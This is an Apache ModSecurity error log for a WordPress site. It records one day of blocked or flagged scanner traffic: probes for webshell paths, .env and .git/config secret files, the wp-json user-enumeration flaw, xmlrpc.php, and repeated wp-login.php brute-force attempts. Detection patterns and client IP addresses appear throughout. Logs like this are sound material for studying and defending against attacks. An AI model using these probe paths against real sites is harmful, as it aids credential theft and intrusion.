[Fri May 01 03:51:15.667951 2026] [:error] [pid 11852:tid 11928] [client 104.28.214.115:14270] [client 104.28.214.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/style.php"] [unique_id "afOys_UF_Rpk1NrBiNtkPQAAAJI"]
[Fri May 01 03:51:16.161297 2026] [:error] [pid 15239:tid 15263] [client 104.28.214.115:28615] [client 104.28.214.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/style.php"] [unique_id "afOytL9xlzHGmxyw6W61zQAAARY"]
[Fri May 01 03:51:23.833070 2026] [:error] [pid 15239:tid 15245] [client 104.28.214.115:26634] [client 104.28.214.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/style.php"] [unique_id "afOyu79xlzHGmxyw6W612wAAAQQ"]
[Fri May 01 04:36:36.404132 2026] [:error] [pid 7565:tid 7623] [client 88.208.196.137:54890] [client 88.208.196.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.208.196.137, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afO9VB-5XtV7B9-xuDF-XQAAAFM"]
[Fri May 01 07:32:20.865778 2026] [:error] [pid 38014:tid 38038] [client 175.27.163.171:51192] [client 175.27.163.171] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afPmhFHplhcdzdndjk0TBAAAAA8"]
[Fri May 01 08:52:01.204130 2026] [:error] [pid 38016:tid 38085] [client 43.155.27.244:59954] [client 43.155.27.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afP5MZFc1DCPy0LM72YBEAAAAIc"]
[Fri May 01 09:08:13.433796 2026] [autoindex:error] [pid 38117:tid 38127] [client 62.171.170.26:58783] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri May 01 09:38:37.981535 2026] [:error] [pid 6046:tid 6093] [client 138.122.148.60:10351] [client 138.122.148.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.122.148.60, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afQEHYyBrpmb1HMIbiQR7gAAAYk"]
[Fri May 01 09:38:49.399129 2026] [:error] [pid 38016:tid 38085] [client 138.122.148.60:13393] [client 138.122.148.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.122.148.60, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afQEKZFc1DCPy0LM72YLkwAAAIc"]
[Fri May 01 09:39:02.894509 2026] [:error] [pid 38016:tid 38079] [client 138.122.148.60:14318] [client 138.122.148.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.122.148.60, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afQENpFc1DCPy0LM72YLmgAAAIE"]
[Fri May 01 09:39:16.530946 2026] [:error] [pid 5976:tid 5984] [client 138.122.148.60:15083] [client 138.122.148.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.122.148.60, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afQERLbCb0ye2WjKldeodAAAAQQ"]
[Fri May 01 09:39:30.085175 2026] [:error] [pid 5976:tid 5999] [client 138.122.148.60:64092] [client 138.122.148.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.122.148.60, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afQEUrbCb0ye2WjKldeogwAAARM"]
[Fri May 01 11:52:03.177980 2026] [:error] [pid 24996:tid 25028] [client 88.151.33.19:47330] [client 88.151.33.19] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env"] [unique_id "afQjYyDBq9mMfUWQQerzcgAAAIA"]
[Fri May 01 11:52:03.251590 2026] [:error] [pid 24996:tid 25033] [client 88.151.33.19:47368] [client 88.151.33.19] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/backend/.env"] [unique_id "afQjYyDBq9mMfUWQQerzcwAAAIU"]
[Fri May 01 11:52:03.251920 2026] [:error] [pid 24997:tid 25077] [client 88.151.33.19:47362] [client 88.151.33.19] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/api/.env"] [unique_id "afQjY_OkHa4ScY5oo8wzzwAAANU"]
[Fri May 01 11:52:03.253673 2026] [:error] [pid 24996:tid 25038] [client 88.151.33.19:47336] [client 88.151.33.19] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.local"] [unique_id "afQjYyDBq9mMfUWQQerzdAAAAIo"]
[Fri May 01 11:52:03.263881 2026] [:error] [pid 24997:tid 25062] [client 88.151.33.19:47340] [client 88.151.33.19] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.production"] [unique_id "afQjY_OkHa4ScY5oo8wz0gAAAMY"]
[Fri May 01 11:52:03.269619 2026] [:error] [pid 24997:tid 25060] [client 88.151.33.19:47354] [client 88.151.33.19] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/app/.env"] [unique_id "afQjY_OkHa4ScY5oo8wz0wAAAMU"]
[Fri May 01 14:20:18.254501 2026] [:error] [pid 25085:tid 25092] [client 43.135.145.117:58580] [client 43.135.145.117] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afRGIvuD8fWRiE0RX0GzFQAAAUE"]
[Fri May 01 14:43:35.646880 2026] [:error] [pid 33791:tid 33815] [client 34.93.251.90:49706] [client 34.93.251.90] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "afRLl29ixd-moLycM9CJxgAAABU"]
[Fri May 01 14:54:00.905391 2026] [:error] [pid 24996:tid 25038] [client 43.164.1.211:40148] [client 43.164.1.211] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afROCCDBq9mMfUWQQeoejAAAAIo"]
[Fri May 01 18:30:11.356392 2026] [:error] [pid 33791:tid 33794] [client 107.189.4.58:49549] [client 107.189.4.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.4.58, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afSAs29ixd-moLycM9DljQAAAAA"]
[Fri May 01 18:30:12.748733 2026] [:error] [pid 33791:tid 33811] [client 107.189.4.58:49549] [client 107.189.4.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 107.189.4.58, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afSAtG9ixd-moLycM9DljgAAABE"]
[Fri May 01 19:21:24.096484 2026] [:error] [pid 33791:tid 33817] [client 43.130.74.193:38584] [client 43.130.74.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afSMtG9ixd-moLycM9D3NwAAABc"]
[Fri May 01 19:54:50.704608 2026] [:error] [pid 33791:tid 33794] [client 43.166.250.187:38814] [client 43.166.250.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afSUim9ixd-moLycM9AD7wAAAAA"]
[Fri May 01 20:05:14.494936 2026] [:error] [pid 33791:tid 33806] [client 106.54.62.156:48418] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afSW-m9ixd-moLycM9AI4AAAAAw"]
[Fri May 01 20:27:19.814220 2026] [:error] [pid 33791:tid 33810] [client 45.79.128.217:43328] [client 45.79.128.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.79.128.217, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afScJ29ixd-moLycM9AN_gAAABA"]
[Fri May 01 21:46:38.397169 2026] [:error] [pid 24996:tid 25031] [client 188.166.219.106:49212] [client 188.166.219.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.219.106, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afSuviDBq9mMfUWQQep6qQAAAIM"]
[Fri May 01 21:59:18.406224 2026] [:error] [pid 25085:tid 25114] [client 34.175.117.206:38116] [client 34.175.117.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.175.117.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afSxtvuD8fWRiE0RX0ETmAAAAVc"]
[Fri May 01 22:50:51.750433 2026] [:error] [pid 50214:tid 50243] [client 212.102.46.47:12248] [client 212.102.46.47] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "afS9y4s0pgrtfZkbhjN3swAAAZg"], referer: https://www.facebook.com/
[Fri May 01 22:50:53.332132 2026] [:error] [pid 24995:tid 25021] [client 212.102.46.47:12256] [client 212.102.46.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.102.46.47, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afS9zedJG9WB_Q_ne0vCLwAAAFY"], referer: https://www.google.com/search?q=wordpress
[Fri May 01 22:50:55.652445 2026] [:error] [pid 24995:tid 25011] [client 212.102.46.47:57382] [client 212.102.46.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.102.46.47, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afS9z-dJG9WB_Q_ne0vCNAAAAEw"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 22:50:58.019276 2026] [:error] [pid 25085:tid 25092] [client 212.102.46.47:57394] [client 212.102.46.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.102.46.47, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afS90vuD8fWRiE0RX0EYqQAAAUE"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 22:51:00.535846 2026] [:error] [pid 24997:tid 25077] [client 212.102.46.47:57408] [client 212.102.46.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.102.46.47, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afS91POkHa4ScY5oo8zoJAAAANU"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 22:51:02.827366 2026] [:error] [pid 33791:tid 33799] [client 212.102.46.47:57418] [client 212.102.46.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.102.46.47, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afS91m9ixd-moLycM9A2ugAAAAU"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 22:51:05.150438 2026] [:error] [pid 25085:tid 25108] [client 212.102.46.47:57430] [client 212.102.46.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.102.46.47, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afS92fuD8fWRiE0RX0EYqgAAAVE"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 22:51:07.445486 2026] [:error] [pid 25320:tid 25346] [client 212.102.46.47:2166] [client 212.102.46.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.102.46.47, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afS921c3wJ-3-XaXB3ojQgAAARc"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 22:51:09.809030 2026] [:error] [pid 25085:tid 25096] [client 212.102.46.47:2170] [client 212.102.46.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.102.46.47, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afS93fuD8fWRiE0RX0EYrwAAAUU"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 22:51:39.603087 2026] [:error] [pid 24996:tid 25033] [client 149.102.254.30:30248] [client 149.102.254.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.102.254.30, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afS9-yDBq9mMfUWQQeqFwQAAAIU"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 22:51:42.010778 2026] [:error] [pid 24997:tid 25078] [client 149.102.254.30:30256] [client 149.102.254.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.102.254.30, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afS9_vOkHa4ScY5oo8zoQAAAANY"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 22:51:44.380125 2026] [:error] [pid 33791:tid 33810] [client 149.102.254.30:30272] [client 149.102.254.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.102.254.30, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afS-AG9ixd-moLycM9A27AAAABA"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 22:51:46.766264 2026] [:error] [pid 24997:tid 25070] [client 149.102.254.30:30280] [client 149.102.254.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.102.254.30, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afS-AvOkHa4ScY5oo8zoQwAAAM4"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 22:51:49.117570 2026] [:error] [pid 33791:tid 33813] [client 149.102.254.30:24776] [client 149.102.254.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.102.254.30, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afS-BW9ixd-moLycM9A2_QAAABM"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 22:51:51.469985 2026] [:error] [pid 50214:tid 50231] [client 149.102.254.30:24784] [client 149.102.254.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.102.254.30, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afS-B4s0pgrtfZkbhjN32AAAAY0"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 23:01:17.446966 2026] [:error] [pid 33791:tid 33797] [client 34.147.64.42:46472] [client 34.147.64.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "afTAPW9ixd-moLycM9A45AAAAAM"]
[Fri May 01 23:01:40.257838 2026] [:error] [pid 24996:tid 25034] [client 149.102.254.34:15406] [client 149.102.254.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.102.254.34, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afTAVCDBq9mMfUWQQeqHWwAAAIY"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 23:01:43.025797 2026] [:error] [pid 24996:tid 25047] [client 149.102.254.34:15414] [client 149.102.254.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.102.254.34, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afTAVyDBq9mMfUWQQeqHXgAAAJE"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 23:01:45.391587 2026] [:error] [pid 24997:tid 25073] [client 149.102.254.34:55224] [client 149.102.254.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.102.254.34, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afTAWfOkHa4ScY5oo8zpNwAAANE"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 23:01:47.732877 2026] [:error] [pid 33791:tid 33812] [client 149.102.254.34:55226] [client 149.102.254.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.102.254.34, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afTAW29ixd-moLycM9A4_gAAABI"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 23:01:50.086365 2026] [:error] [pid 50214:tid 50220] [client 149.102.254.34:55236] [client 149.102.254.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.102.254.34, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afTAXos0pgrtfZkbhjN5vAAAAYI"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 23:01:52.440195 2026] [:error] [pid 25085:tid 25091] [client 149.102.254.34:55252] [client 149.102.254.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.102.254.34, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afTAYPuD8fWRiE0RX0EZ-gAAAUA"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 23:01:54.829671 2026] [:error] [pid 24996:tid 25037] [client 149.102.254.34:23816] [client 149.102.254.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 149.102.254.34, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afTAYiDBq9mMfUWQQeqHYAAAAIk"], referer: https://rcacivilgroup.com/wp-login.php
[Fri May 01 23:11:33.932288 2026] [:error] [pid 25320:tid 25326] [client 198.186.130.79:32832] [client 198.186.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.186.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afTCpVc3wJ-3-XaXB3ooLwAAAQM"]
